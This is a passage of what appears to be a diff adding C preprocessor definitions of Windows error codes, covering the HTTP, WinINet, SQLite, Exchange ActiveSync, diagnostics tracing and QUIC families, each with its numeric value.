ONL_E_CONNECTED_ACCOUNT_CAN_NOT_SIGNOUT -2138701810 +#define ONL_E_USER_AUTHENTICATION_REQUIRED -2138701809 +#define ONL_E_REQUEST_THROTTLED -2138701808 +#define FA_E_MAX_PERSISTED_ITEMS_REACHED -2144927200 +#define FA_E_HOMEGROUP_NOT_AVAILABLE -2144927198 +#define E_MONITOR_RESOLUTION_TOO_LOW -2144927152 +#define E_ELEVATED_ACTIVATION_NOT_SUPPORTED -2144927151 +#define E_UAC_DISABLED -2144927150 +#define E_FULL_ADMIN_NOT_SUPPORTED -2144927149 +#define E_APPLICATION_NOT_REGISTERED -2144927148 +#define E_MULTIPLE_EXTENSIONS_FOR_APPLICATION -2144927147 +#define E_MULTIPLE_PACKAGES_FOR_FAMILY -2144927146 +#define E_APPLICATION_MANAGER_NOT_RUNNING -2144927145 +#define S_STORE_LAUNCHED_FOR_REMEDIATION 2556504 +#define S_APPLICATION_ACTIVATION_ERROR_HANDLED_BY_DIALOG 2556505 +#define E_APPLICATION_ACTIVATION_TIMED_OUT -2144927142 +#define E_APPLICATION_ACTIVATION_EXEC_FAILURE -2144927141 +#define E_APPLICATION_TEMPORARY_LICENSE_ERROR -2144927140 +#define E_APPLICATION_TRIAL_LICENSE_EXPIRED -2144927139 +#define E_SKYDRIVE_ROOT_TARGET_FILE_SYSTEM_NOT_SUPPORTED -2144927136 +#define E_SKYDRIVE_ROOT_TARGET_OVERLAP -2144927135 +#define E_SKYDRIVE_ROOT_TARGET_CANNOT_INDEX -2144927134 +#define E_SKYDRIVE_FILE_NOT_UPLOADED -2144927133 +#define E_SKYDRIVE_UPDATE_AVAILABILITY_FAIL -2144927132 +#define E_SKYDRIVE_ROOT_TARGET_VOLUME_ROOT_NOT_SUPPORTED -2144927131 +#define E_SYNCENGINE_FILE_SIZE_OVER_LIMIT -2013089791 +#define E_SYNCENGINE_FILE_SIZE_EXCEEDS_REMAINING_QUOTA -2013089790 +#define E_SYNCENGINE_UNSUPPORTED_FILE_NAME -2013089789 +#define E_SYNCENGINE_FOLDER_ITEM_COUNT_LIMIT_EXCEEDED -2013089788 +#define E_SYNCENGINE_FILE_SYNC_PARTNER_ERROR -2013089787 +#define E_SYNCENGINE_SYNC_PAUSED_BY_SERVICE -2013089786 +#define E_SYNCENGINE_FILE_IDENTIFIER_UNKNOWN -2013085694 +#define E_SYNCENGINE_SERVICE_AUTHENTICATION_FAILED -2013085693 +#define E_SYNCENGINE_UNKNOWN_SERVICE_ERROR -2013085692 +#define E_SYNCENGINE_SERVICE_RETURNED_UNEXPECTED_SIZE -2013085691 +#define E_SYNCENGINE_REQUEST_BLOCKED_BY_SERVICE -2013085690 +#define E_SYNCENGINE_REQUEST_BLOCKED_DUE_TO_CLIENT_ERROR -2013085689 +#define E_SYNCENGINE_FOLDER_INACCESSIBLE -2013081599 +#define E_SYNCENGINE_UNSUPPORTED_FOLDER_NAME -2013081598 +#define E_SYNCENGINE_UNSUPPORTED_MARKET -2013081597 +#define E_SYNCENGINE_PATH_LENGTH_LIMIT_EXCEEDED -2013081596 +#define E_SYNCENGINE_REMOTE_PATH_LENGTH_LIMIT_EXCEEDED -2013081595 +#define E_SYNCENGINE_CLIENT_UPDATE_NEEDED -2013081594 +#define E_SYNCENGINE_PROXY_AUTHENTICATION_REQUIRED -2013081593 +#define E_SYNCENGINE_STORAGE_SERVICE_PROVISIONING_FAILED -2013081592 +#define E_SYNCENGINE_UNSUPPORTED_REPARSE_POINT -2013081591 +#define E_SYNCENGINE_STORAGE_SERVICE_BLOCKED -2013081590 +#define E_SYNCENGINE_FOLDER_IN_REDIRECTION -2013081589 +#define EAS_E_POLICY_NOT_MANAGED_BY_OS -2141913087 +#define EAS_E_POLICY_COMPLIANT_WITH_ACTIONS -2141913086 +#define EAS_E_REQUESTED_POLICY_NOT_ENFORCEABLE -2141913085 +#define EAS_E_CURRENT_USER_HAS_BLANK_PASSWORD -2141913084 +#define EAS_E_REQUESTED_POLICY_PASSWORD_EXPIRATION_INCOMPATIBLE -2141913083 +#define EAS_E_USER_CANNOT_CHANGE_PASSWORD -2141913082 +#define EAS_E_ADMINS_HAVE_BLANK_PASSWORD -2141913081 +#define EAS_E_ADMINS_CANNOT_CHANGE_PASSWORD -2141913080 +#define EAS_E_LOCAL_CONTROLLED_USERS_CANNOT_CHANGE_PASSWORD -2141913079 +#define EAS_E_PASSWORD_POLICY_NOT_ENFORCEABLE_FOR_CONNECTED_ADMINS -2141913078 +#define EAS_E_CONNECTED_ADMINS_NEED_TO_CHANGE_PASSWORD -2141913077 +#define EAS_E_PASSWORD_POLICY_NOT_ENFORCEABLE_FOR_CURRENT_CONNECTED_USER -2141913076 +#define EAS_E_CURRENT_CONNECTED_USER_NEED_TO_CHANGE_PASSWORD -2141913075 +#define WEB_E_UNSUPPORTED_FORMAT -2089484287 +#define WEB_E_INVALID_XML -2089484286 +#define WEB_E_MISSING_REQUIRED_ELEMENT -2089484285 +#define WEB_E_MISSING_REQUIRED_ATTRIBUTE -2089484284 +#define WEB_E_UNEXPECTED_CONTENT -2089484283 +#define WEB_E_RESOURCE_TOO_LARGE -2089484282 +#define WEB_E_INVALID_JSON_STRING -2089484281 +#define WEB_E_INVALID_JSON_NUMBER -2089484280 +#define WEB_E_JSON_VALUE_NOT_FOUND -2089484279 +#define HTTP_E_STATUS_UNEXPECTED -2145845247 +#define HTTP_E_STATUS_UNEXPECTED_REDIRECTION -2145845245 +#define HTTP_E_STATUS_UNEXPECTED_CLIENT_ERROR -2145845244 +#define HTTP_E_STATUS_UNEXPECTED_SERVER_ERROR -2145845243 +#define HTTP_E_STATUS_AMBIGUOUS -2145844948 +#define HTTP_E_STATUS_MOVED -2145844947 +#define HTTP_E_STATUS_REDIRECT -2145844946 +#define HTTP_E_STATUS_REDIRECT_METHOD -2145844945 +#define HTTP_E_STATUS_NOT_MODIFIED -2145844944 +#define HTTP_E_STATUS_USE_PROXY -2145844943 +#define HTTP_E_STATUS_REDIRECT_KEEP_VERB -2145844941 +#define HTTP_E_STATUS_BAD_REQUEST -2145844848 +#define HTTP_E_STATUS_DENIED -2145844847 +#define HTTP_E_STATUS_PAYMENT_REQ -2145844846 +#define HTTP_E_STATUS_FORBIDDEN -2145844845 +#define HTTP_E_STATUS_NOT_FOUND -2145844844 +#define HTTP_E_STATUS_BAD_METHOD -2145844843 +#define HTTP_E_STATUS_NONE_ACCEPTABLE -2145844842 +#define HTTP_E_STATUS_PROXY_AUTH_REQ -2145844841 +#define HTTP_E_STATUS_REQUEST_TIMEOUT -2145844840 +#define HTTP_E_STATUS_CONFLICT -2145844839 +#define HTTP_E_STATUS_GONE -2145844838 +#define HTTP_E_STATUS_LENGTH_REQUIRED -2145844837 +#define HTTP_E_STATUS_PRECOND_FAILED -2145844836 +#define HTTP_E_STATUS_REQUEST_TOO_LARGE -2145844835 +#define HTTP_E_STATUS_URI_TOO_LONG -2145844834 +#define HTTP_E_STATUS_UNSUPPORTED_MEDIA -2145844833 +#define HTTP_E_STATUS_RANGE_NOT_SATISFIABLE -2145844832 +#define HTTP_E_STATUS_EXPECTATION_FAILED -2145844831 +#define HTTP_E_STATUS_SERVER_ERROR -2145844748 +#define HTTP_E_STATUS_NOT_SUPPORTED -2145844747 +#define HTTP_E_STATUS_BAD_GATEWAY -2145844746 +#define HTTP_E_STATUS_SERVICE_UNAVAIL -2145844745 +#define HTTP_E_STATUS_GATEWAY_TIMEOUT -2145844744 +#define HTTP_E_STATUS_VERSION_NOT_SUP -2145844743 +#define E_INVALID_PROTOCOL_OPERATION -2089418751 +#define E_INVALID_PROTOCOL_FORMAT -2089418750 +#define E_PROTOCOL_EXTENSIONS_NOT_SUPPORTED -2089418749 +#define E_SUBPROTOCOL_NOT_SUPPORTED -2089418748 +#define E_PROTOCOL_VERSION_NOT_SUPPORTED -2089418747 +#define INPUT_E_OUT_OF_ORDER -2143289344 +#define INPUT_E_REENTRANCY -2143289343 +#define INPUT_E_MULTIMODAL -2143289342 +#define INPUT_E_PACKET -2143289341 +#define INPUT_E_FRAME -2143289340 +#define INPUT_E_HISTORY -2143289339 +#define INPUT_E_DEVICE_INFO -2143289338 +#define INPUT_E_TRANSFORM -2143289337 +#define INPUT_E_DEVICE_PROPERTY -2143289336 +#define ERROR_DBG_CREATE_PROCESS_FAILURE_LOCKDOWN -2135949311 +#define ERROR_DBG_ATTACH_PROCESS_FAILURE_LOCKDOWN -2135949310 +#define ERROR_DBG_CONNECT_SERVER_FAILURE_LOCKDOWN -2135949309 +#define ERROR_DBG_START_SERVER_FAILURE_LOCKDOWN -2135949308 +#define HSP_E_ERROR_MASK -2128084992 +#define HSP_E_INTERNAL_ERROR -2128080897 +#define HSP_BS_ERROR_MASK -2128080896 +#define HSP_BS_INTERNAL_ERROR -2128080641 +#define HSP_DRV_ERROR_MASK -2128019456 +#define HSP_DRV_INTERNAL_ERROR -2128019201 +#define HSP_BASE_ERROR_MASK -2128019200 +#define HSP_BASE_INTERNAL_ERROR -2128018945 +#define HSP_KSP_ERROR_MASK -2128018944 +#define HSP_KSP_DEVICE_NOT_READY -2128018943 +#define HSP_KSP_INVALID_PROVIDER_HANDLE -2128018942 +#define HSP_KSP_INVALID_KEY_HANDLE -2128018941 +#define HSP_KSP_INVALID_PARAMETER -2128018940 +#define HSP_KSP_BUFFER_TOO_SMALL -2128018939 +#define HSP_KSP_NOT_SUPPORTED -2128018938 +#define HSP_KSP_INVALID_DATA -2128018937 +#define HSP_KSP_INVALID_FLAGS -2128018936 +#define HSP_KSP_ALGORITHM_NOT_SUPPORTED -2128018935 +#define HSP_KSP_KEY_ALREADY_FINALIZED -2128018934 +#define HSP_KSP_KEY_NOT_FINALIZED -2128018933 +#define HSP_KSP_INVALID_KEY_TYPE -2128018932 +#define HSP_KSP_NO_MEMORY -2128018928 +#define HSP_KSP_PARAMETER_NOT_SET -2128018927 +#define HSP_KSP_KEY_EXISTS -2128018923 +#define HSP_KSP_KEY_MISSING -2128018922 +#define HSP_KSP_KEY_LOAD_FAIL -2128018921 +#define HSP_KSP_NO_MORE_ITEMS -2128018920 +#define HSP_KSP_INTERNAL_ERROR -2128018689 +#define ERROR_IO_PREEMPTED -1996423167 +#define JSCRIPT_E_CANTEXECUTE -1996357631 +#define WEP_E_NOT_PROVISIONED_ON_ALL_VOLUMES -2013200383 +#define WEP_E_FIXED_DATA_NOT_SUPPORTED -2013200382 +#define WEP_E_HARDWARE_NOT_COMPLIANT -2013200381 +#define WEP_E_LOCK_NOT_CONFIGURED -2013200380 +#define WEP_E_PROTECTION_SUSPENDED -2013200379 +#define WEP_E_NO_LICENSE -2013200378 +#define WEP_E_OS_NOT_PROTECTED -2013200377 +#define WEP_E_UNEXPECTED_FAIL -2013200376 +#define WEP_E_BUFFER_TOO_LARGE -2013200375 +#define ERROR_SVHDX_ERROR_STORED -1067712512 +#define ERROR_SVHDX_ERROR_NOT_AVAILABLE -1067647232 +#define ERROR_SVHDX_UNIT_ATTENTION_AVAILABLE -1067647231 +#define ERROR_SVHDX_UNIT_ATTENTION_CAPACITY_DATA_CHANGED -1067647230 +#define ERROR_SVHDX_UNIT_ATTENTION_RESERVATIONS_PREEMPTED -1067647229 +#define ERROR_SVHDX_UNIT_ATTENTION_RESERVATIONS_RELEASED -1067647228 +#define ERROR_SVHDX_UNIT_ATTENTION_REGISTRATIONS_PREEMPTED -1067647227 +#define ERROR_SVHDX_UNIT_ATTENTION_OPERATING_DEFINITION_CHANGED -1067647226 +#define ERROR_SVHDX_RESERVATION_CONFLICT -1067647225 +#define ERROR_SVHDX_WRONG_FILE_TYPE -1067647224 +#define ERROR_SVHDX_VERSION_MISMATCH -1067647223 +#define ERROR_VHD_SHARED -1067647222 +#define ERROR_SVHDX_NO_INITIATOR -1067647221 +#define ERROR_VHDSET_BACKING_STORAGE_NOT_FOUND -1067647220 +#define ERROR_SMB_NO_PREAUTH_INTEGRITY_HASH_OVERLAP -1067646976 +#define ERROR_SMB_BAD_CLUSTER_DIALECT -1067646975 +#define ERROR_SMB_NO_SIGNING_ALGORITHM_OVERLAP -1067646974 +#define ERROR_SMB_GUEST_LOGON_BLOCKED_SIGNING_REQUIRED -1067646973 +#define ERROR_SMB_GUEST_ENCRYPTION_NOT_SUPPORTED -1067646972 +#define ERROR_SMB_ENCRYPTION_NOT_SUPPORTED_BY_PEER -1067646971 +#define ERROR_SMB_CERT_NO_PRIVATE_KEY -1067646970 +#define ERROR_SMB_TLS_ACCESS_DENIED -1067646969 +#define WININET_E_OUT_OF_HANDLES -2147012895 +#define WININET_E_TIMEOUT -2147012894 +#define WININET_E_EXTENDED_ERROR -2147012893 +#define WININET_E_INTERNAL_ERROR -2147012892 +#define WININET_E_INVALID_URL -2147012891 +#define WININET_E_UNRECOGNIZED_SCHEME -2147012890 +#define WININET_E_NAME_NOT_RESOLVED -2147012889 +#define WININET_E_PROTOCOL_NOT_FOUND -2147012888 +#define WININET_E_INVALID_OPTION -2147012887 +#define WININET_E_BAD_OPTION_LENGTH -2147012886 +#define WININET_E_OPTION_NOT_SETTABLE -2147012885 +#define WININET_E_SHUTDOWN -2147012884 +#define WININET_E_INCORRECT_USER_NAME -2147012883 +#define WININET_E_INCORRECT_PASSWORD -2147012882 +#define WININET_E_LOGIN_FAILURE -2147012881 +#define WININET_E_INVALID_OPERATION -2147012880 +#define WININET_E_OPERATION_CANCELLED -2147012879 +#define WININET_E_INCORRECT_HANDLE_TYPE -2147012878 +#define WININET_E_INCORRECT_HANDLE_STATE -2147012877 +#define WININET_E_NOT_PROXY_REQUEST -2147012876 +#define WININET_E_REGISTRY_VALUE_NOT_FOUND -2147012875 +#define WININET_E_BAD_REGISTRY_PARAMETER -2147012874 +#define WININET_E_NO_DIRECT_ACCESS -2147012873 +#define WININET_E_NO_CONTEXT -2147012872 +#define WININET_E_NO_CALLBACK -2147012871 +#define WININET_E_REQUEST_PENDING -2147012870 +#define WININET_E_INCORRECT_FORMAT -2147012869 +#define WININET_E_ITEM_NOT_FOUND -2147012868 +#define WININET_E_CANNOT_CONNECT -2147012867 +#define WININET_E_CONNECTION_ABORTED -2147012866 +#define WININET_E_CONNECTION_RESET -2147012865 +#define WININET_E_FORCE_RETRY -2147012864 +#define WININET_E_INVALID_PROXY_REQUEST -2147012863 +#define WININET_E_NEED_UI -2147012862 +#define WININET_E_HANDLE_EXISTS -2147012860 +#define WININET_E_SEC_CERT_DATE_INVALID -2147012859 +#define WININET_E_SEC_CERT_CN_INVALID -2147012858 +#define WININET_E_HTTP_TO_HTTPS_ON_REDIR -2147012857 +#define WININET_E_HTTPS_TO_HTTP_ON_REDIR -2147012856 +#define WININET_E_MIXED_SECURITY -2147012855 +#define WININET_E_CHG_POST_IS_NON_SECURE -2147012854 +#define WININET_E_POST_IS_NON_SECURE -2147012853 +#define WININET_E_CLIENT_AUTH_CERT_NEEDED -2147012852 +#define WININET_E_INVALID_CA -2147012851 +#define WININET_E_CLIENT_AUTH_NOT_SETUP -2147012850 +#define WININET_E_ASYNC_THREAD_FAILED -2147012849 +#define WININET_E_REDIRECT_SCHEME_CHANGE -2147012848 +#define WININET_E_DIALOG_PENDING -2147012847 +#define WININET_E_RETRY_DIALOG -2147012846 +#define WININET_E_NO_NEW_CONTAINERS -2147012845 +#define WININET_E_HTTPS_HTTP_SUBMIT_REDIR -2147012844 +#define WININET_E_SEC_CERT_ERRORS -2147012841 +#define WININET_E_SEC_CERT_REV_FAILED -2147012839 +#define WININET_E_HEADER_NOT_FOUND -2147012746 +#define WININET_E_DOWNLEVEL_SERVER -2147012745 +#define WININET_E_INVALID_SERVER_RESPONSE -2147012744 +#define WININET_E_INVALID_HEADER -2147012743 +#define WININET_E_INVALID_QUERY_REQUEST -2147012742 +#define WININET_E_HEADER_ALREADY_EXISTS -2147012741 +#define WININET_E_REDIRECT_FAILED -2147012740 +#define WININET_E_SECURITY_CHANNEL_ERROR -2147012739 +#define WININET_E_UNABLE_TO_CACHE_FILE -2147012738 +#define WININET_E_TCPIP_NOT_INSTALLED -2147012737 +#define WININET_E_DISCONNECTED -2147012733 +#define WININET_E_SERVER_UNREACHABLE -2147012732 +#define WININET_E_PROXY_SERVER_UNREACHABLE -2147012731 +#define WININET_E_BAD_AUTO_PROXY_SCRIPT -2147012730 +#define WININET_E_UNABLE_TO_DOWNLOAD_SCRIPT -2147012729 +#define WININET_E_SEC_INVALID_CERT -2147012727 +#define WININET_E_SEC_CERT_REVOKED -2147012726 +#define WININET_E_FAILED_DUETOSECURITYCHECK -2147012725 +#define WININET_E_NOT_INITIALIZED -2147012724 +#define WININET_E_LOGIN_FAILURE_DISPLAY_ENTITY_BODY -2147012722 +#define WININET_E_DECODING_FAILED -2147012721 +#define WININET_E_NOT_REDIRECTED -2147012736 +#define WININET_E_COOKIE_NEEDS_CONFIRMATION -2147012735 +#define WININET_E_COOKIE_DECLINED -2147012734 +#define WININET_E_REDIRECT_NEEDS_CONFIRMATION -2147012728 +#define SQLITE_E_ERROR -2018574335 +#define SQLITE_E_INTERNAL -2018574334 +#define SQLITE_E_PERM -2018574333 +#define SQLITE_E_ABORT -2018574332 +#define SQLITE_E_BUSY -2018574331 +#define SQLITE_E_LOCKED -2018574330 +#define SQLITE_E_NOMEM -2018574329 +#define SQLITE_E_READONLY -2018574328 +#define SQLITE_E_INTERRUPT -2018574327 +#define SQLITE_E_IOERR -2018574326 +#define SQLITE_E_CORRUPT -2018574325 +#define SQLITE_E_NOTFOUND -2018574324 +#define SQLITE_E_FULL -2018574323 +#define SQLITE_E_CANTOPEN -2018574322 +#define SQLITE_E_PROTOCOL -2018574321 +#define SQLITE_E_EMPTY -2018574320 +#define SQLITE_E_SCHEMA -2018574319 +#define SQLITE_E_TOOBIG -2018574318 +#define SQLITE_E_CONSTRAINT -2018574317 +#define SQLITE_E_MISMATCH -2018574316 +#define SQLITE_E_MISUSE -2018574315 +#define SQLITE_E_NOLFS -2018574314 +#define SQLITE_E_AUTH -2018574313 +#define SQLITE_E_FORMAT -2018574312 +#define SQLITE_E_RANGE -2018574311 +#define SQLITE_E_NOTADB -2018574310 +#define SQLITE_E_NOTICE -2018574309 +#define SQLITE_E_WARNING -2018574308 +#define SQLITE_E_ROW -2018574236 +#define SQLITE_E_DONE -2018574235 +#define SQLITE_E_IOERR_READ -2018574070 +#define SQLITE_E_IOERR_SHORT_READ -2018573814 +#define SQLITE_E_IOERR_WRITE -2018573558 +#define SQLITE_E_IOERR_FSYNC -2018573302 +#define SQLITE_E_IOERR_DIR_FSYNC -2018573046 +#define SQLITE_E_IOERR_TRUNCATE -2018572790 +#define SQLITE_E_IOERR_FSTAT -2018572534 +#define SQLITE_E_IOERR_UNLOCK -2018572278 +#define SQLITE_E_IOERR_RDLOCK -2018572022 +#define SQLITE_E_IOERR_DELETE -2018571766 +#define SQLITE_E_IOERR_BLOCKED -2018571510 +#define SQLITE_E_IOERR_NOMEM -2018571254 +#define SQLITE_E_IOERR_ACCESS -2018570998 +#define SQLITE_E_IOERR_CHECKRESERVEDLOCK -2018570742 +#define SQLITE_E_IOERR_LOCK -2018570486 +#define SQLITE_E_IOERR_CLOSE -2018570230 +#define SQLITE_E_IOERR_DIR_CLOSE -2018569974 +#define SQLITE_E_IOERR_SHMOPEN -2018569718 +#define SQLITE_E_IOERR_SHMSIZE -2018569462 +#define SQLITE_E_IOERR_SHMLOCK -2018569206 +#define SQLITE_E_IOERR_SHMMAP -2018568950 +#define SQLITE_E_IOERR_SEEK -2018568694 +#define SQLITE_E_IOERR_DELETE_NOENT -2018568438 +#define SQLITE_E_IOERR_MMAP -2018568182 +#define SQLITE_E_IOERR_GETTEMPPATH -2018567926 +#define SQLITE_E_IOERR_CONVPATH -2018567670 +#define SQLITE_E_IOERR_VNODE -2018567414 +#define SQLITE_E_IOERR_AUTH -2018567158 +#define SQLITE_E_IOERR_BEGIN_ATOMIC -2018566902 +#define SQLITE_E_IOERR_COMMIT_ATOMIC -2018566646 +#define SQLITE_E_IOERR_ROLLBACK_ATOMIC -2018566390 +#define SQLITE_E_IOERR_DATA -2018566134 +#define SQLITE_E_IOERR_CORRUPTFS -2018565878 +#define SQLITE_E_IOERR_IN_PAGE -2018565622 +#define SQLITE_E_LOCKED_SHAREDCACHE -2018574074 +#define SQLITE_E_LOCKED_VTAB -2018573818 +#define SQLITE_E_BUSY_RECOVERY -2018574075 +#define SQLITE_E_BUSY_SNAPSHOT -2018573819 +#define SQLITE_E_BUSY_TIMEOUT -2018573563 +#define SQLITE_E_CANTOPEN_NOTEMPDIR -2018574066 +#define SQLITE_E_CANTOPEN_ISDIR -2018573810 +#define SQLITE_E_CANTOPEN_FULLPATH -2018573554 +#define SQLITE_E_CANTOPEN_CONVPATH -2018573298 +#define SQLITE_E_CANTOPEN_DIRTYWAL -2018573042 +#define SQLITE_E_CANTOPEN_SYMLINK -2018572786 +#define SQLITE_E_CORRUPT_VTAB -2018574069 +#define SQLITE_E_CORRUPT_SEQUENCE -2018573813 +#define SQLITE_E_CORRUPT_INDEX -2018573557 +#define SQLITE_E_READONLY_RECOVERY -2018574072 +#define SQLITE_E_READONLY_CANTLOCK -2018573816 +#define SQLITE_E_READONLY_ROLLBACK -2018573560 +#define SQLITE_E_READONLY_DBMOVED -2018573304 +#define SQLITE_E_READONLY_CANTINIT -2018573048 +#define SQLITE_E_READONLY_DIRECTORY -2018572792 +#define SQLITE_E_ABORT_ROLLBACK -2018573820 +#define SQLITE_E_CONSTRAINT_CHECK -2018574061 +#define SQLITE_E_CONSTRAINT_COMMITHOOK -2018573805 +#define SQLITE_E_CONSTRAINT_FOREIGNKEY -2018573549 +#define SQLITE_E_CONSTRAINT_FUNCTION -2018573293 +#define SQLITE_E_CONSTRAINT_NOTNULL -2018573037 +#define SQLITE_E_CONSTRAINT_PRIMARYKEY -2018572781 +#define SQLITE_E_CONSTRAINT_TRIGGER -2018572525 +#define SQLITE_E_CONSTRAINT_UNIQUE -2018572269 +#define SQLITE_E_CONSTRAINT_VTAB -2018572013 +#define SQLITE_E_CONSTRAINT_ROWID -2018571757 +#define SQLITE_E_CONSTRAINT_PINNED -2018571501 +#define SQLITE_E_CONSTRAINT_DATATYPE -2018571245 +#define SQLITE_E_NOTICE_RECOVER_WAL -2018574053 +#define SQLITE_E_NOTICE_RECOVER_ROLLBACK -2018573797 +#define SQLITE_E_NOTICE_RECOVER_RBU -2018573541 +#define SQLITE_E_WARNING_AUTOINDEX -2018574052 +#define SQLITE_E_AUTH_USER -2018574057 +#define UTC_E_TOGGLE_TRACE_STARTED -2017128447 +#define UTC_E_ALTERNATIVE_TRACE_CANNOT_PREEMPT -2017128446 +#define UTC_E_AOT_NOT_RUNNING -2017128445 +#define UTC_E_SCRIPT_TYPE_INVALID -2017128444 +#define UTC_E_SCENARIODEF_NOT_FOUND -2017128443 +#define UTC_E_TRACEPROFILE_NOT_FOUND -2017128442 +#define UTC_E_FORWARDER_ALREADY_ENABLED -2017128441 +#define UTC_E_FORWARDER_ALREADY_DISABLED -2017128440 +#define UTC_E_EVENTLOG_ENTRY_MALFORMED -2017128439 +#define UTC_E_DIAGRULES_SCHEMAVERSION_MISMATCH -2017128438 +#define UTC_E_SCRIPT_TERMINATED -2017128437 +#define UTC_E_INVALID_CUSTOM_FILTER -2017128436 +#define UTC_E_TRACE_NOT_RUNNING -2017128435 +#define UTC_E_REESCALATED_TOO_QUICKLY -2017128434 +#define UTC_E_ESCALATION_ALREADY_RUNNING -2017128433 +#define UTC_E_PERFTRACK_ALREADY_TRACING -2017128432 +#define UTC_E_REACHED_MAX_ESCALATIONS -2017128431 +#define UTC_E_FORWARDER_PRODUCER_MISMATCH -2017128430 +#define UTC_E_INTENTIONAL_SCRIPT_FAILURE -2017128429 +#define UTC_E_SQM_INIT_FAILED -2017128428 +#define UTC_E_NO_WER_LOGGER_SUPPORTED -2017128427 +#define UTC_E_TRACERS_DONT_EXIST -2017128426 +#define UTC_E_WINRT_INIT_FAILED -2017128425 +#define UTC_E_SCENARIODEF_SCHEMAVERSION_MISMATCH -2017128424 +#define UTC_E_INVALID_FILTER -2017128423 +#define UTC_E_EXE_TERMINATED -2017128422 +#define UTC_E_ESCALATION_NOT_AUTHORIZED -2017128421 +#define UTC_E_SETUP_NOT_AUTHORIZED -2017128420 +#define UTC_E_CHILD_PROCESS_FAILED -2017128419 +#define UTC_E_COMMAND_LINE_NOT_AUTHORIZED -2017128418 +#define UTC_E_CANNOT_LOAD_SCENARIO_EDITOR_XML -2017128417 +#define UTC_E_ESCALATION_TIMED_OUT -2017128416 +#define UTC_E_SETUP_TIMED_OUT -2017128415 +#define UTC_E_TRIGGER_MISMATCH -2017128414 +#define UTC_E_TRIGGER_NOT_FOUND -2017128413 +#define UTC_E_SIF_NOT_SUPPORTED -2017128412 +#define UTC_E_DELAY_TERMINATED -2017128411 +#define UTC_E_DEVICE_TICKET_ERROR -2017128410 +#define UTC_E_TRACE_BUFFER_LIMIT_EXCEEDED -2017128409 +#define UTC_E_API_RESULT_UNAVAILABLE -2017128408 +#define UTC_E_RPC_TIMEOUT -2017128407 +#define UTC_E_RPC_WAIT_FAILED -2017128406 +#define UTC_E_API_BUSY -2017128405 +#define UTC_E_TRACE_MIN_DURATION_REQUIREMENT_NOT_MET -2017128404 +#define UTC_E_EXCLUSIVITY_NOT_AVAILABLE -2017128403 +#define UTC_E_GETFILE_FILE_PATH_NOT_APPROVED -2017128402 +#define UTC_E_ESCALATION_DIRECTORY_ALREADY_EXISTS -2017128401 +#define UTC_E_TIME_TRIGGER_ON_START_INVALID -2017128400 +#define UTC_E_TIME_TRIGGER_ONLY_VALID_ON_SINGLE_TRANSITION -2017128399 +#define UTC_E_TIME_TRIGGER_INVALID_TIME_RANGE -2017128398 +#define UTC_E_MULTIPLE_TIME_TRIGGER_ON_SINGLE_STATE -2017128397 +#define UTC_E_BINARY_MISSING -2017128396 +#define UTC_E_FAILED_TO_RESOLVE_CONTAINER_ID -2017128394 +#define UTC_E_UNABLE_TO_RESOLVE_SESSION -2017128393 +#define UTC_E_THROTTLED -2017128392 +#define UTC_E_UNAPPROVED_SCRIPT -2017128391 +#define UTC_E_SCRIPT_MISSING -2017128390 +#define UTC_E_SCENARIO_THROTTLED -2017128389 +#define UTC_E_API_NOT_SUPPORTED -2017128388 +#define UTC_E_GETFILE_EXTERNAL_PATH_NOT_APPROVED -2017128387 +#define UTC_E_TRY_GET_SCENARIO_TIMEOUT_EXCEEDED -2017128386 +#define UTC_E_CERT_REV_FAILED -2017128385 +#define UTC_E_FAILED_TO_START_NDISCAP -2017128384 +#define UTC_E_KERNELDUMP_LIMIT_REACHED -2017128383 +#define UTC_E_MISSING_AGGREGATE_EVENT_TAG -2017128382 +#define UTC_E_INVALID_AGGREGATION_STRUCT -2017128381 +#define UTC_E_ACTION_NOT_SUPPORTED_IN_DESTINATION -2017128380 +#define UTC_E_FILTER_MISSING_ATTRIBUTE -2017128379 +#define UTC_E_FILTER_INVALID_TYPE -2017128378 +#define UTC_E_FILTER_VARIABLE_NOT_FOUND -2017128377 +#define UTC_E_FILTER_FUNCTION_RESTRICTED -2017128376 +#define UTC_E_FILTER_VERSION_MISMATCH -2017128375 +#define UTC_E_FILTER_INVALID_FUNCTION -2017128368 +#define UTC_E_FILTER_INVALID_FUNCTION_PARAMS -2017128367 +#define UTC_E_FILTER_INVALID_COMMAND -2017128366 +#define UTC_E_FILTER_ILLEGAL_EVAL -2017128365 +#define UTC_E_TTTRACER_RETURNED_ERROR -2017128364 +#define UTC_E_AGENT_DIAGNOSTICS_TOO_LARGE -2017128363 +#define UTC_E_FAILED_TO_RECEIVE_AGENT_DIAGNOSTICS -2017128362 +#define UTC_E_SCENARIO_HAS_NO_ACTIONS -2017128361 +#define UTC_E_TTTRACER_STORAGE_FULL -2017128360 +#define UTC_E_INSUFFICIENT_SPACE_TO_START_TRACE -2017128359 +#define UTC_E_ESCALATION_CANCELLED_AT_SHUTDOWN -2017128358 +#define UTC_E_GETFILEINFOACTION_FILE_NOT_APPROVED -2017128357 +#define UTC_E_SETREGKEYACTION_TYPE_NOT_APPROVED -2017128356 +#define UTC_E_TRACE_THROTTLED -2017128355 +#define WINML_ERR_INVALID_DEVICE -2003828735 +#define WINML_ERR_INVALID_BINDING -2003828734 +#define WINML_ERR_VALUE_NOTFOUND -2003828733 +#define WINML_ERR_SIZE_MISMATCH -2003828732 +#define ERROR_QUIC_HANDSHAKE_FAILURE -2143223808 +#define ERROR_QUIC_VER_NEG_FAILURE -2143223807 +#define ERROR_QUIC_USER_CANCELED -2143223806 +#define ERROR_QUIC_INTERNAL_ERROR -2143223805 +#define ERROR_QUIC_PROTOCOL_VIOLATION -2143223804 +#define ERROR_QUIC_CONNECTION_IDLE -2143223803 +#define ERROR_QUIC_CONNECTION_TIMEOUT -2143223802 +#define ERROR_QUIC_ALPN_NEG_FAILURE -2143223801 +#define ERROR_QUIC_STREAM_LIMIT_REACHED -2143223800 +#define ERROR_QUIC_ALPN_IN_USE -2143223799 +#define ERROR_QUIC_TLS_UNEXPECTED_MESSAGE -2143223542 +#define ERROR_QUIC_TLS_BAD_CERTIFICATE -2143223510 +#define ERROR_QUIC_TLS_UNSUPPORTED_CERTIFICATE -2143223509 +#define ERROR_QUIC_TLS_CERTIFICATE_REVOKED -2143223508 +#define ERROR_QUIC_TLS_CERTIFICATE_EXPIRED -2143223507 +#define ERROR_QUIC_TLS_CERTIFICATE_UNKNOWN -2143223506 +#define ERROR_QUIC_TLS_ILLEGAL_PARAMETER -2143223505 +#define ERROR_QUIC_TLS_UNKNOWN_CA -2143223504 +#define ERROR_QUIC_TLS_ACCESS_DENIED -2143223503 +#define 